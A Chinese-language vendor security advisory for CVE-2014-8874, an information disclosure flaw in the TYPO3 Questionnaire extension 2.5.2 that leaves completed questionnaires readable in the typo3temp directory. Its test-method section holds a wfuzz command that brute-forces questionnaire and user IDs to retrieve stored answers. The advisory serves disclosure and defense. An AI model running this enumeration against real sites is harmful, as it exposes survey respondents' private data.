当前位置： 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

TYPO3 Questionnaire Extension信息泄露漏洞(CVE-2014-8874)

     发表日期：2014-12-08 13:20:26

TYPO3 Questionnaire Extension信息泄露漏洞(CVE-2014-8874)

BugTraq-ID:71390

CVE-ID:CVE-2014-8874

发布日期：2014-12-01

更新日期：2014-12-02

受影响系统：

TYPO3 Questionnaire 2.5.2

详细信息：

TYPO3 Questionnaire是调查网站访问量的扩展。 TYPO3 Questionnaire的安装目录"typo3temp"中存在了已经填写的问卷，这些问卷是基于问卷ID及用户ID的，攻击者可利用此漏洞获取敏感信息。

来源：

RedTeam Pentesting GmbH （http://www.redteam-pentesting.de/）

参考信息：

http://www.securityfocus.com/archive/1/534126

测试方法：

警告以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！Using the tool wfuzz[1] it is possible to search for answers to questionnaires on a TYPO3 site that employs ke_questionnaire: ------------------------------------------------------------------------ $ python wfuzz.py -c -z range,14000-15000 -z range,1-10 --hc 301 http://example.com/typo3temp/tx_kequestionnaire_temp_FUZZ_FUZ2Z ------------------------------------------------------------------------

解决办法：

厂商补丁：

TYPO3

-----

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://typo3.org/extensions/repository/view/ke_questionnaire